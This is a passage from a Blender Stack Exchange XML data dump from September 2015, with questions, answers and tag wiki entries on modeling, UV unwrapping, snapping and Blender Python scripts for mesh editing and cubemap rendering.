  <row Id="36974" PostTypeId="2" ParentId="36971" CreationDate="2015-09-03T18:23:33.373" Score="1" Body="&lt;p&gt;This occurs due to your &lt;em&gt;Start Clipping&lt;/em&gt; being to small, to fix that open up your &lt;strong&gt;&lt;kbd&gt;N&lt;/kbd&gt;Panel&lt;/strong&gt;, then go to the &lt;strong&gt;View&lt;/strong&gt; section and change the &lt;em&gt;Start&lt;/em&gt; clipping value to &lt;strong&gt;0.100&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HGvtT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HGvtT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or either it could be the &lt;strong&gt;Limit Selection to visible&lt;/strong&gt; button next to the &lt;em&gt;Vertex/Edge/Face Select&lt;/em&gt; properties, as mentioned by Mike Metcalf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EUfjw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUfjw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-09-03T18:42:17.503" LastActivityDate="2015-09-03T18:42:17.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36975" PostTypeId="1" CreationDate="2015-09-03T18:34:08.177" Score="3" ViewCount="99" Body="&lt;p&gt;I have an avatar mesh and I want to separate different animations, each animation in a different timeline in order to create blending animation. I do not know how to begin this process on Blender. Can someone help me please?&lt;/p&gt;&#xA;" OwnerUserId="15368" LastActivityDate="2015-09-03T18:34:08.177" Title="How can I create different animations for a mesh on Blender?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;timeline&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36976" PostTypeId="1" AcceptedAnswerId="38008" CreationDate="2015-09-03T18:37:48.667" Score="0" ViewCount="338" Body="&lt;p&gt;For a game I'm making, I need to make a sensor be positive every time an 'action' animation runs.&#xA;This is my shooting setup:&lt;a href=&quot;https://i.stack.imgur.com/MVUYI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MVUYI.png&quot; alt=&quot;logic&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;So how do I check what frame an action is at? Because if this is possible I can make a python script so that when the animation is at frame 1 it does something.&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-09-04T10:22:32.757" Title="Blender Game Engine: Do something when an 'action' animation happens" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36977" PostTypeId="1" AcceptedAnswerId="36979" CreationDate="2015-09-03T18:50:51.970" Score="2" ViewCount="147" Body="&lt;p&gt;I have been modeling and then I've noticed that I had a strange seam going at a certain part of my mesh, quite weird, can't figure out what is causing this to happend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3JGn6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3JGn6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zktP8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zktP8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wpAvK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wpAvK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-09-03T19:13:30.573" Title="Why are this seams there?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36978" PostTypeId="2" ParentId="36973" CreationDate="2015-09-03T19:04:20.513" Score="1" Body="&lt;p&gt;Geometry element indices can change at any time, don't rely on them!&#xA;&lt;br&gt;&#xA;See e.g. &lt;a href=&quot;https://blender.stackexchange.com/questions/36577/how-are-vertex-indices-determined&quot;&gt;How are vertex indices determined?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should instead use a custom data layer to store the group (continent) information in. I would suggest &lt;code&gt;bm.faces.layers.int&lt;/code&gt;. How to display them in a panel is a bit tricky, because you need to iterate the entire mesh before you know which numbers / continents exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API docs: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bmesh.html#customdata-access&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_75_release/bmesh.html#customdata-access&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if a user extrudes a face that is part of a continent already, then that property might be copied to the new faces. It's definitely true for vertex extrusion, but I'm not entirely sure when or which faces may receive the custom properties of their ancestors. Also see second half of my answer here: &lt;a href=&quot;https://blender.stackexchange.com/a/36816/1363&quot;&gt;https://blender.stackexchange.com/a/36816/1363&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to use Vertex groups. There are some downsides however: Vertices can be assigned with weights, they can be assigned to multiple groups and the face selection may differ for certain topologies (3 adjacent faces, left and right part of a continent, the middle one not will select all 3 if vertex groups are used, since all of the vertices are used by the left and right face).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-09-03T19:04:20.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36979" PostTypeId="2" ParentId="36977" CreationDate="2015-09-03T19:13:30.573" Score="2" Body="&lt;p&gt;Extend those vertical edge-loops all the way through those three bottom horizontally-aligned faces (the top of those three clearly being an n-gon, not sure of the two below it). This should go a long way toward fixing your problem.&lt;/p&gt;&#xA;" OwnerUserId="16665" LastActivityDate="2015-09-03T19:13:30.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36980" PostTypeId="2" ParentId="36933" CreationDate="2015-09-03T19:15:51.490" Score="4" Body="&lt;p&gt;Bmesh module solution for both, object and edit mode. Turn &lt;code&gt;global_z_plane&lt;/code&gt; on for global Z &amp;lt; 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;ob = bpy.context.object&#xA;assert ob.type == &quot;MESH&quot;&#xA;mat = ob.matrix_world&#xA;me = ob.data&#xA;&#xA;global_z_plane = False&#xA;&#xA;if me.is_editmode:&#xA;    bm = bmesh.from_edit_mesh(me)&#xA;else:&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(me)&#xA;&#xA;for v in bm.verts:&#xA;    co = mat * v.co if global_z_plane else v.co&#xA;    if co.z &amp;lt; 0:&#xA;        bm.verts.remove(v)&#xA;&#xA;if bm.is_wrapped:&#xA;    bmesh.update_edit_mesh(me)&#xA;else:&#xA;    bm.to_mesh(me)&#xA;    me.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-09-03T19:15:51.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36981" PostTypeId="1" CreationDate="2015-09-03T20:10:07.503" Score="0" ViewCount="247" Body="&lt;p&gt;Need to render animated cubemaps for use in another program. UI allows to save the cubemap of current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to do it in Python. Getting a context error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# remember current frame to switch back after the script is finished&#xA;current_frame = bpy.context.scene.frame_current&#xA;&#xA;for i in range(bpy.context.scene.frame_start, bpy.context.scene.frame_end+1):&#xA;    # set current frame&#xA;    bpy.context.scene.frame_current = i&#xA;&#xA;    # create an image which will store the baked data&#xA;    image = bpy.data.images.new(str(i)+'.png', bpy.context.scene.render.resolution_x, bpy.context.scene.render.resolution_y, alpha = 0)&#xA;    image.file_format = 'PNG'&#xA;    image.filepath = &quot;//&quot;+str(i)+&quot;.png&quot;&#xA;    #image.save()&#xA;&#xA;    # need to render for some reason to save the cubemap below&#xA;    bpy.ops.render.render()&#xA;&#xA;    # save cubemap image&#xA;    # needs proper context&#xA;    area = bpy.context.area&#xA;    old_type = area.type&#xA;    area.type = 'PROPERTIES'&#xA;    bpy.ops.texture.envmap_save(filepath=str(i)+'.png')&#xA;    area.type = old_type&#xA;&#xA;    print (&quot;Frame &quot;+str(i)+&quot; complete&quot;)&#xA;&#xA;# switch back to the frame you were on before running this code&#xA;bpy.context.scene.frame_current = current_frame&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16748" LastActivityDate="2015-09-03T21:25:20.620" Title="rendering cubemaps by code (context error)" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36982" PostTypeId="1" AcceptedAnswerId="39538" CreationDate="2015-09-03T20:21:16.580" Score="1" ViewCount="392" Body="&lt;p&gt;I am modeling an MTAR familiar and I have to create certain part of the gun which is quite complex. I am not sure what would be the best way of doing it, I was thinking to do it with and Array modifier and then somehow join it, or maybe by adding a lot of loop cuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XELMa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XELMa.png&quot; alt=&quot;reference image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So I would like to know how one would Approach this task?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="2217" LastEditDate="2015-09-04T14:27:12.053" LastActivityDate="2015-10-05T02:29:24.537" Title="How to model notched detail on a gun?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36983" PostTypeId="1" CreationDate="2015-09-03T20:57:46.430" Score="8" ViewCount="2419" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ddiB7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ddiB7.jpg&quot; alt=&quot;top UVs are mostly good, but elsewhere are not&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/yT4r2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yT4r2.jpg&quot; alt=&quot;these vertical rectangles are supposed to be squares&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8qSbF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8qSbF.jpg&quot; alt=&quot;island&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And by &quot;good&quot; I mean with minimum distortion, keeping the original shapes for the most part, etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, after doing the seams, I've been doing with the best choice I can find from the various alternatives the UV/Image Editor can offer, depending on the mesh (Unwrap, Smart UV Project, Project from V, etc). Then I refine it so more with things like &quot;Minimize stretch, and Average Islands scale&quot;. And manually straighten vertices with the old trick Scale + perpendicular coordinate direction + 0 + enter. But of course this method can take a long time, not to mention it can be tedious too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a couple of seemingly great scripts at BlenderAddonList, like &lt;a href=&quot;https://i.stack.imgur.com/ddiB7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV Squares&lt;/a&gt;, and &lt;a href=&quot;http://blenderaddonlist.blogspot.ca/2013/11/addon-smooth-selected-uv.html#comment-form&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV Tool&lt;/a&gt;. But maybe due to not being updated they are not working today with 2.75a :(  Either way, it occurred to me I may not be looking in the right place after all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought there was a tool in Blender called &quot;Relax UVs&quot; in the UV/Image Editor. But I don't see it, could it be it was in 3D Studio Max? It used to do a great job, like Minimize stretch, but better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers, ideas, suggestions, etc will be super appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance guys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JDL&lt;/p&gt;&#xA;" OwnerUserId="15508" LastEditorDisplayName="user1853" LastEditDate="2017-09-10T18:26:15.367" LastActivityDate="2018-06-22T05:50:44.263" Title="How can I unwrap an object with minimum distortion in the UVs?" Tags="&lt;uv&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36984" PostTypeId="2" ParentId="36981" CreationDate="2015-09-03T21:18:52.000" Score="1" Body="&lt;p&gt;That did the trick for me once the env map image source was set to 'GENERATED'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# remember current frame to switch back after the script is finished&#xA;&#xA;context = bpy.context&#xA;scene = context.scene&#xA;current_frame = scene.frame_current&#xA;area = context.area&#xA;old_type = area.type&#xA;area.type = 'PROPERTIES'&#xA;context.space_data.context = 'TEXTURE'&#xA;&#xA;for i in range(scene.frame_start, scene.frame_end+1):&#xA;    # set current frame&#xA;    scene.frame_set(i)&#xA;&#xA;    # create an image which will store the baked data&#xA;    image = bpy.data.images.new(str(i)+'.png', bpy.context.scene.render.resolution_x, bpy.context.scene.render.resolution_y, alpha = 0)&#xA;    image.file_format = 'PNG'&#xA;    image.filepath = &quot;//&quot;+str(i)+&quot;.png&quot;&#xA;    #image.save()&#xA;&#xA;    # need to render for some reason to save the cubemap below&#xA;    bpy.ops.render.render()&#xA;&#xA;    # save cubemap image&#xA;    # needs proper context&#xA;&#xA;&#xA;    bpy.ops.texture.envmap_save(filepath=str(i)+'.png')&#xA;&#xA;&#xA;    print (&quot;Frame &quot;+str(i)+&quot; complete&quot;)&#xA;&#xA;area.type = old_type&#xA;# switch back to the frame you were on before running this code&#xA;scene.frame_set(current_frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="15543" LastEditDate="2015-09-03T21:25:20.620" LastActivityDate="2015-09-03T21:25:20.620" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36985" PostTypeId="1" AcceptedAnswerId="36986" CreationDate="2015-09-03T21:38:41.773" Score="1" ViewCount="73" Body="&lt;p&gt;i've given them a texture but when i render it it looks lame, and kind of scratchy any help?&lt;a href=&quot;https://i.stack.imgur.com/SPicB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SPicB.png&quot; alt=&quot;this is what it looks like&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16890" LastEditorUserId="12820" LastEditDate="2015-09-03T21:45:15.393" LastActivityDate="2015-09-03T21:45:15.393" Title="My materials look all scratchy and not cool," Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-09-03T22:04:20.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="36986" PostTypeId="2" ParentId="36985" CreationDate="2015-09-03T21:45:00.093" Score="0" Body="&lt;p&gt;Thing to try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the lighting on the scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase Samples. Check Properties-&gt;Render Tab-&gt;Sampling-&gt;Samples.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16665" LastActivityDate="2015-09-03T21:45:00.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36989" PostTypeId="2" ParentId="36982" CreationDate="2015-09-03T22:50:14.647" Score="0" Body="&lt;p&gt;Loop Cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select every other loop and slide into position for the spacing you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Array modifier might be an alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create vertex group if you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude individual faces. &#xA;Shape Ends.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-09-03T22:50:14.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36990" PostTypeId="2" ParentId="36946" CreationDate="2015-09-03T23:22:04.050" Score="3" Body="&lt;p&gt;Elements from the VSE or from the Compositor cannot be used as textures on the 3D environment directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to export them as Video or Image Sequences and then re-import them to be used as textures on planes (or other geometry).&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-09-03T23:22:04.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36991" PostTypeId="1" CreationDate="2015-09-03T23:46:44.130" Score="1" ViewCount="65" Body="&lt;p&gt;I installed window 10 yesterday, as well as the wacom driver (the tablet was not responding), and verified the settings. Now I cannot select (everything was fine before, Rclick mapped to stylus button) anymore, I  get  some ripple effect around the cursor and it doesn't select.&lt;/p&gt;&#xA;" OwnerUserId="16765" LastEditorUserId="2217" LastEditDate="2015-09-04T16:30:32.233" LastActivityDate="2015-09-04T16:30:32.233" Title="getting ripples while selecting with stylus after installing window 10" Tags="&lt;customization&gt;&lt;selection-tools&gt;&lt;drivers&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36992" PostTypeId="1" AcceptedAnswerId="38010" CreationDate="2015-09-03T23:52:45.620" Score="3" ViewCount="2124" Body="&lt;p&gt;I'm back with another super basic question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have four faces that I want to extrude inward(or outward) ten grid units. So I have done the following...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y7CNn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y7CNn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to snap the faces in or out and have them snap to each grid line, but no matter what options I check, the extrude won't line up with the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QGdp1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QGdp1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two pictures are snapped to -.9 and -1, but they don't line up with the grid&lt;/p&gt;&#xA;" OwnerUserId="16806" LastActivityDate="2015-09-04T11:44:43.743" Title="Extrude Faces Offset Snap" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36995" PostTypeId="2" ParentId="36992" CreationDate="2015-09-04T00:17:05.543" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iqADl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iqADl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into edit mode with edge selection and grab a single edge and snap it left right up or down&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the 3d cursor to the desired location and snap to cursor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale the extrusion by some fraction such as .2 (typed as number) (2 divided by 10 )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a large rectangle and use loop cut to subdivide.  That feature can do even divisions of an edge.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-04T00:51:18.867" LastActivityDate="2015-09-04T00:51:18.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37991" PostTypeId="2" ParentId="36992" CreationDate="2015-09-04T02:33:21.160" Score="1" Body="&lt;h2&gt;Unfortunately this is mathematically impossible.&lt;/h2&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The simple explanation:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Shen scaling, snapping (by holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;) does not use the grid.  You are basically &lt;em&gt;multiplying&lt;/em&gt; an object's size, not &lt;em&gt;incrementing&lt;/em&gt; (moving) it.  So when snapping is enabled it snaps the &lt;em&gt;scale factor&lt;/em&gt; to multiples of &lt;code&gt;0.1&lt;/code&gt; (or &lt;code&gt;0.01&lt;/code&gt; when &lt;kbd&gt;Shift&lt;/kbd&gt; is pressed).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The mathematical explanation:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The biggest mathematical difference between scaling and translating (moving) is that when scaling an object, you aren't simply moving vertices a certain distance, you are multiplying the vertices' distance from a point (the pivot center) by a scale factor.  So the larger the object, the smaller the scale factor would have to be to enlarge the object by one unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, if you have an object &lt;code&gt;1&lt;/code&gt; unit x &lt;code&gt;1&lt;/code&gt; unit it would take a scale factor of &lt;code&gt;2&lt;/code&gt; to enlarge the object by &lt;code&gt;1&lt;/code&gt; unit (in each direction); but if your object was &lt;code&gt;100&lt;/code&gt; units x &lt;code&gt;100&lt;/code&gt; units it would only take a scale factor of &lt;code&gt;1.01&lt;/code&gt; to enlarge the object by &lt;code&gt;1&lt;/code&gt; unit.  So to make scaling snap to the grid Blender would have to dynamically adjust the scale factor the more you scale the object.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-09-04T02:33:21.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37992" PostTypeId="5" CreationDate="2015-09-04T06:25:13.837" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-09-04T06:25:13.837" LastActivityDate="2015-09-04T06:25:13.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37993" PostTypeId="4" CreationDate="2015-09-04T06:25:13.837" Score="0" Body="In digital imaging systems, color management is the controlled conversion between the color representations of various devices, such as image scanners, digital cameras, monitors, TV screens, film printers, computer printers, offset presses, and corresponding media.&#xD;&#xA;Source:https://en.wikipedia.org/wiki/Color_management" OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T08:31:11.257" LastActivityDate="2015-09-04T08:31:11.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37994" PostTypeId="5" CreationDate="2015-09-04T06:29:26.340" Score="0" Body="&lt;p&gt;Blender represents locations in a scene by their coordinates. The coordinates of a location consist of three numbers that define its distance and direction from a fixed origin. More precisely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The first (or x-) coordinate of the location is defined as its&#xA;distance from the YZ plane (the one containing both the Y and Z&#xA;axes). Locations on the +X side of this plane are assigned positive&#xA;x-coordinates, and those on the -X side are given negative ones.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Its second (or y-) coordinate is its distance from the XZ plane, with&#xA;locations on the -Y side of this plane having negative y-coordinates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Its third (or z-) coordinate is its distance from the XY plane, with&#xA;locations on the -Z side of this plane having negative z-coordinates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thus the origin (which lies at the junction of all three axes and all three planes) has coordinates &lt;code&gt;(0, 0, 0)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T08:17:02.827" LastActivityDate="2015-09-04T08:17:02.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37995" PostTypeId="4" CreationDate="2015-09-04T06:29:26.340" Score="0" Body="Blender represents locations in a scene by their coordinates. The coordinates of a location consist of three numbers that define its distance and direction from a fixed origin." OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T08:30:54.800" LastActivityDate="2015-09-04T08:30:54.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37996" PostTypeId="5" CreationDate="2015-09-04T06:32:04.593" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-09-04T06:32:04.593" LastActivityDate="2015-09-04T06:32:04.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37997" PostTypeId="4" CreationDate="2015-09-04T06:32:04.593" Score="0" Body="The ID mask node will use the Object Index pass to produce an anti-aliased alpha mask for the object index specified. The mask is opaque where the object is, and transparent where the object isn't." OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T08:30:59.397" LastActivityDate="2015-09-04T08:30:59.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37998" PostTypeId="5" CreationDate="2015-09-04T06:38:10.337" Score="0" Body="&lt;p&gt;it refers to recording actions of human actors, and using that information to animate digital character models in 2D or 3D computer animation.&lt;br&gt;&#xA;&lt;br&gt;&#xA;When it includes face and fingers or captures subtle expressions, it is often referred&lt;br&gt;&#xA;to as &lt;em&gt;performance capture&lt;/em&gt;.&lt;br&gt;&#xA;In many fields, motion capture is sometimes called &lt;em&gt;motion tracking&lt;/em&gt;, but in filmmaking and games, motion tracking usually refers more to &lt;em&gt;match moving&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T08:12:36.533" LastActivityDate="2015-09-04T08:12:36.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37999" PostTypeId="4" CreationDate="2015-09-04T06:38:10.337" Score="0" Body="Motion capture (Mo-cap for short) is the process of recording the movement of objects or people." OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T08:17:19.110" LastActivityDate="2015-09-04T08:17:19.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38000" PostTypeId="5" CreationDate="2015-09-04T06:46:51.420" Score="0" Body="&lt;p&gt;To parent objects, select at least two objects, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;.&lt;br&gt;&#xA;A confirmation dialog will pop up asking Make Parent.&lt;br&gt;&#xA;Selecting Make Parent confirms and the child/children to parent relationship is created.&lt;br&gt;&#xA; The last object selected will be the active object , and will also be the parent object.&lt;br&gt;&#xA;If you selected multiple objects before selecting the parent, they will all be children of the parent and will be at the same level of the hierarchy.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving and rotating the parent will also usually move/rotate the child/children.&lt;br&gt; However moving/rotating the child/children of the parent, will not result in the parent moving/rotating.&lt;br&gt; In other words, influence is usually descendant (parent → child/children),&lt;br&gt; and not ascendant (child/children → parent).&lt;/p&gt;&#xA;" OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T07:27:29.987" LastActivityDate="2015-09-04T07:27:29.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38001" PostTypeId="4" CreationDate="2015-09-04T06:46:51.420" Score="0" Body="When modeling a complex object, such as a watch, you may choose to model the different parts as separate objects. However, all of the parts may be attached to each other. In these cases, you want to designate one object as the parent of all the children. Movement, rotation or scaling of the parent also affects the children." OwnerUserId="16852" LastEditorUserId="16852" LastEditDate="2015-09-04T08:15:41.340" LastActivityDate="2015-09-04T08:15:41.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38002" PostTypeId="5" CreationDate="2015-09-04T06:50:49.620" Score="0" Body="&lt;p&gt;Without the Timeline, it will difficult, if not impossible, to time our animations. The timelines helps us to know the number of frame or frames we are on, and how many more frame(s) are left, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, by default (in Blender's default layout arrangement), the Timeline lies at the bottom of the screen. It looks like this image. The green vertical line you see is the pointer.&lt;br&gt;&#xA;It tells us the frame on which we are. &lt;br&gt;There are two ways to read the frame on which we are on. The first is to look at where the point is and plot downwards to read the value on the x-axis of the timeline.&lt;br&gt; And the other, the simpler way, is to read the value from the little box beside the play and stop navigation buttons. &lt;/p&gt;&#xA;" OwnerUserId="16852" LastEditorUserId="16852" 